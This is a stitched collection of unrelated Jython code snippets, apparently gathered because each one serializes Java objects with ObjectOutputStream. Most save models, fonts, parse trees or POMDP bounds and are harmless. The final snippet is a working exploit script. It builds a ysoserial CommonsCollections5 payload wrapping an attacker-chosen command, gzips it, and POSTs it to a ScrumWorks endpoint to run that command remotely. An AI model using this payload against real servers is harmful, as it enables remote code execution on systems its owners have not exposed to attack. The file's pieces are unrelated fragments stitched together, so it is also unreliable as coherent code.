def output_serialized_model(key, model): baos = ByteArrayOutputStream() oos = ObjectOutputStream(baos) oos.writeObject(model) oos.flush() oos.close() return baos.toByteArray()
def test_serialization(self): s = set(range(5, 10)) output = ByteArrayOutputStream() serializer = ObjectOutputStream(output) serializer.writeObject(s) serializer.close() input = ByteArrayInputStream(output.toByteArray()) unserializer = ObjectInputStream(input) self.assertEqual(s, unserializer.readObject())
def saveClick(self, e): returnVal = self._fc.showSaveDialog(self._splitpane) if returnVal == JFileChooser.APPROVE_OPTION: f = self._fc.getSelectedFile() if f.exists(): result = JOptionPane.showConfirmDialog(self._splitpane, "The file exists, overwrite?", "Existing File", JOptionPane.YES_NO_OPTION) if result != JOptionPane.YES_OPTION: return fileName = f.getPath() outs = ObjectOutputStream(FileOutputStream(fileName)) outs.writeObject(self._db.getSaveableObject()) outs.close()
def action_ok(self, event): fabric = FontFabric() if self.font_file.name[-3:].lower() == 'pdb': font = fabric.loadPdb(self.font_file, self.encoding.get_selection()) if self.font_file.name[-3:].lower() == 'pft': font = fabric.loadPft(self.font_file, self.encoding.get_selection()) font_name = String(self.font_name.text).replaceAll(' ', '') font.name = font_name font_file = c.config('FONT_DIRECTORY') + '/' + font_name o = ObjectOutputStream(FileOutputStream(font_file)) o.writeObject(font) o.close() self.dispose() self.parent.refresh_fonts()
def action_ok(self, event): fabric = FontFabric() if self.rb_normal.selected: font = fabric.loadNormal(self.font, self.encoding.get_selection()) elif self.rb_antialiased.selected: font = fabric.loadAntialiased(self.font, self.encoding.get_selection()) elif self.rb_subpixel.selected: font = fabric.loadSubpixel(self.font, self.encoding.get_selection()) elif self.rb_subpixel_aa.selected: font = fabric.loadSubpixelAntialiased(self.font, self.encoding.get_selection()) font_name = String(self.font_name.text).replaceAll(' ', '') font.name = font_name font_file = c.config('FONT_DIRECTORY') + '/' + font_name o = ObjectOutputStream(FileOutputStream(font_file)) o.writeObject(font) o.close() self.dispose() self.parent.refresh_fonts()
def serialize(obj, filepath): if not Serializable.isAssignableFrom(obj.getClass()): syncPrintQ("Object doesn't implement Serializable: " + str(obj)) return False f = None o = None try: f = FileOutputStream(filepath) o = ObjectOutputStream(f) o.writeObject(obj) o.flush() f.getFD().sync() # ensure file is written to disk return True except: syncPrintQ(sys.exc_info()) finally: if o: o.close() if f: f.close()
def serializeTree(parsetree, filename): ''' Serialize the Python parsetree consisting up tuples and strings into Java LinkedList and String objects, and save into filename. ''' def p2j(subtree): if type(subtree) == str: return String(subtree) elif type(subtree) == tuple: l = LinkedList() for entry in subtree: l.add(p2j(entry)) return l else: raise ValueError, ("ERROR, bad type in parse tree: " + str(type(subtree))) jtree = p2j(parsetree) fileout = FileOutputStream(filename) oostream = ObjectOutputStream(fileout) oostream.writeObject(jtree) oostream.close()
parser.error("Must provide pomdp filename") # figure out representation flat_rep = fnmatch(options.filename, '*.POMDP') rep = FileParser.PARSE_CASSANDRA_POMDP if flat_rep else \ FileParser.PARSE_SPUDD # load problem pomdp = FileParser.loadPomdp(options.filename, rep) # lower bound bp_calc = BpviStd(pomdp) if flat_rep else BpviAdd(pomdp) lbound = bp_calc.getValueFunction() # upper bound qp_calc = QmdpStd(pomdp) if flat_rep else QmdpAdd(pomdp) ubound = qp_calc.getValueFunction() # serialize usuffix = '.QMDP_STD.ser' if flat_rep else '.QMDP_ADD.ser' ufos = FileOutputStream( basename(options.filename) + usuffix ) uout = ObjectOutputStream(ufos) uout.writeObject(ubound) uout.close() lsuffix = '.BLIND_STD.ser' if flat_rep else '.BLIND_ADD.ser' lfos = FileOutputStream( basename(options.filename) + lsuffix ) lout = ObjectOutputStream(lfos) lout.writeObject(lbound) lout.close()
def saveInstanceList(instances, fname): s = ObjectOutputStream(FileOutputStream(fname)) s.writeObject(instances) s.close()
def saveModel(crf, file): s=ObjectOutputStream(FileOutputStream(file)) s.writeObject(crf); s.close();
payloadName = "CommonsCollections5" payloadClass = ObjectPayload.Utils.getPayloadClass(payloadName); if payloadClass is None: print("Can't load ysoserial payload class") exit(2); # serialize payload payload = payloadClass.newInstance() exploitObject = payload.getObject(sys.argv[3]) # create streams byteStream = ByteArrayOutputStream() zipStream = GZIPOutputStream(byteStream) objectStream = ObjectOutputStream(zipStream) objectStream.writeObject(exploitObject) # close streams objectStream.flush() objectStream.close() zipStream.close() byteStream.close() # http request print "sending serialized command" conn = httplib.HTTPConnection(sys.argv[1] + ":" + sys.argv[2]) conn.request("POST", "/scrumworks/UFC-poc-", byteStream.toByteArray()) response = conn.getresponse() conn.close() print "done" ---